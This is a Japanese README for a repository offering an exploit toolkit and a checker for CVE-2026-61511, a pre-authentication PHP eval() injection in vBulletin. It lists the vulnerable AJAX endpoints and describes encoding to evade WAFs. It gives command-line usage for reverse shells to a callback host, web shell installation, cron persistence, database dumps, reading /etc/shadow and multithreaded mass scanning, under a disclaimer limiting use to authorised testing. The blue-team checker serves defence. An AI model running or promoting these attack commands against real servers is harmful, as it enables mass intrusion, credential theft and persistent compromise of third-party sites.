CVE-2026-61511 – vBulletin 認証前 RCE エクスプロイト & 検証ツール

倫理的な使用のみ – 許可されたセキュリティテスト
このリポジトリは、許可されたセキュリティ専門家、ブルーチーム、ペネトレーションテスターのみを対象としたツールを提供します。
コンピュータシステムへの不正アクセスは、CFAA（米国）、Computer Misuse Act（英国）、TCK 243/244（トルコ）、および世界中の同様の法律の下で違法です。

---

脆弱性の概要

CVE‑2026‑61511 は、vBulletin の AJAX テンプレートレンダリングエンジンにおける PHP eval() インジェクションの脆弱性です。
影響を受けるバージョン: 5.0.0 – 5.7.5 および 6.0.0 – 6.2.1。

仕組み

1. 複数の攻撃エンドポイント – このバグは複数の AJAX ハンドラに存在します:

   • /ajax/render/pagenav
   • /ajax/api/ad/replaceAdTemplate
   • /ajax/render/widget_php
   • /ajax/render/widget_tabbedcontainer_tab_panel
   • 各種 /ajax/api/content_* /getIndexableContent エンドポイント

2. PHPFuck エンコーディング – ペイロードは PHP 演算子と数値のシーケンスに変換され、WAF フィルタを回避して任意の PHP コード実行を可能にします。

3. 認証不要 – 攻撃者は脆弱なエンドポイントに細工した POST リクエストを送信するだけで、Web サーバーの権限でシステムコマンドを実行できます。

4. 影響 – サーバーの完全な侵害、データ窃取、バックドア、横展開、永続化。バージョンをアップグレードしてください！

パッチ

• vBulletin 6.2.2 および古いバージョン向けの Patch Level 1 がこの問題を修正します。
• 常に最新バージョンにアップグレードしてください。

---

ツール

ツール	目的	対象ユーザー
exploit.py	リバースシェル、永続化、ファイル操作、データベースダンプ、ファイアウォール管理、ログ管理、ポートフォワーディング、SSH キー配置、ネットワークスキャン、およびマススキャン（マルチスレッド）を備えたフルツールキット。	レッドチーム / 許可されたペンテスター
safecheck.py	悪意のあるペイロードを実行せずに脆弱性をチェックする非侵入型検証ツール。バージョンを検出し、すべてのエンドポイントをテストし、詳細なレポートを生成します。	ブルーチーム / セキュリティ監査人

---

機能比較

機能	exploit.py	safecheck.py
脆弱性検出	[+]	[+]
バージョン検出	[+]	[+]
マルチエンドポイントテスト（18 パス）	[+]	[+]
コマンド実行	[+]	[-]
リバースシェル	[+]	[-]
ファイルアップロード/ダウンロード	[+]	[-]
永続化メカニズム	[+]	[-]
Web シェル配置	[+]	[-]
データベース操作	[+]	[-]
システム情報収集	[+]	[+]
ファイアウォール管理	[+]	[-]
ログ管理	[+]	[-]
ポートフォワーディング	[+]	[-]
SSH キー配置	[+]	[-]
ネットワークスキャン	[+]	[-]
マススキャン（マルチスレッド）	[+]	[-]
プロキシサポート	[+]	[+]
JSON レポート出力	[+]	[+]
インタラクティブメニュー	[+]	[-]
非侵入（セーフ）モード	[-]	[+]
詳細/デバッグモード	[+]	[+]
カスタムコマンド実行	[+]	[-]
マルチコマンドチェーン	[+]	[-]
リモートファイル読み取り	[+]	[-]
リモートファイル書き込み	[+]	[-]
システムユーザー管理	[+]	[-]
ファイアウォールバイパス技術	[+]	[-]
WAF 回避（PHPFuck）	[+]	[+]

---

ユースケースの概要

シナリオ	推奨ツール
ブルーチーム – vBulletin インストールが脆弱かどうかを検証	safecheck.py
セキュリティ監査 – 非侵入型の脆弱性評価	safecheck.py
レッドチーム – 完全なエクスプロイトを伴う許可されたペネトレーションテスト	exploit.py
バグバウンティ – 責任ある開示テスト	safecheck.py
マススキャン – 複数のターゲットの脆弱性をチェック	exploit.py（検出のみ）
インシデントレスポンス – システムが侵害されているかどうかをチェック	safecheck.py

---

インストール

git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt

requirements.txt の内容:

request
urllib3

パラメータ

パラメータ	説明
-t, --target	ターゲット URL（例: http://forum.com/vb）
--proxy	HTTP プロキシ（例: http://127.0.0.1:8080）
--timeout	リクエストタイムアウト（秒）（デフォルト: 10）
--retry	パスごとのリトライ回数（デフォルト: 3）
--output	詳細レポートを JSON ファイルに保存
-v, --verbose	詳細出力
-q, --quiet	クワイエットモード（最小限の出力）
--lhost	エクスプロイトに必須 – コールバック用 IP
--lport	コールバック用ポート（デフォルト: 4444）
--threads	マススキャン用スレッド数（デフォルト: 5）
--exploit	検出後にエクスプロイトを実行
--full	フル攻撃（全モジュール）
--shell	リバースシェルを開始
--webshell	Web シェルをインストール（/shell.php）
--persist	永続化をインストール（cron ジョブ）
--dump	データベースをダンプ
--dump-creds	認証情報をダンプ（/etc/passwd、/etc/shadow）
--interactive	検証成功後にインタラクティブメニュー

シナリオ

#	シナリオ	コマンド
1	クイック脆弱性チェック	python safecheck.py -t http://target.com/vb
2	レポート付き詳細スキャン	python safecheck.py -t http://target.com/vb --output report.json -v
3	リバースシェル	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell
4	フル攻撃（全モジュール）	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full
5	ファイルからのマススキャン	python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json
6	インタラクティブメニューモード	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive

エンドポイントプール

#	エンドポイント
1	/ajax/render/pagenav
2	/ajax/render/pagenav?template=page
3	/ajax/api/ad/replaceAdTemplate
4	/ajax/render/widget_php
5	/ajax/render/widget_tabbedcontainer_tab_panel
6	/ajax/api/content_infraction/getIndexableContent
7	/ajax/api/content_video/getIndexableContent
8	/ajax/api/content_text/getIndexableContent
9	/ajax/api/content_report/getIndexableContent
10	/ajax/api/content_redirect/getIndexableContent
11	/ajax/api/content_privatemessage/getIndexableContent
12	/ajax/api/content_poll/getIndexableContent
13	/ajax/api/content_photo/getIndexableContent
14	/ajax/api/content_link/getIndexableContent
15	/ajax/api/content_gallery/getIndexableContent
16	/ajax/api/content_event/getIndexableContent
17	/ajax/api/content_channel/getIndexableContent
18	/ajax/api/content_attach/getIndexableContent

責任ある使用

• これらのツールは、所有しているシステム、またはテストに対する明示的な書面による許可を得ているシステムでのみ使用してください。
• 不正アクセスは違法であり、非倫理的です。
• 作者は、いかなる誤用についても責任を負いません。
• 常に自国の法律および規制に従ってください。

このソフトウェアは、教育目的および許可されたセキュリティテストのみを目的として提供されています。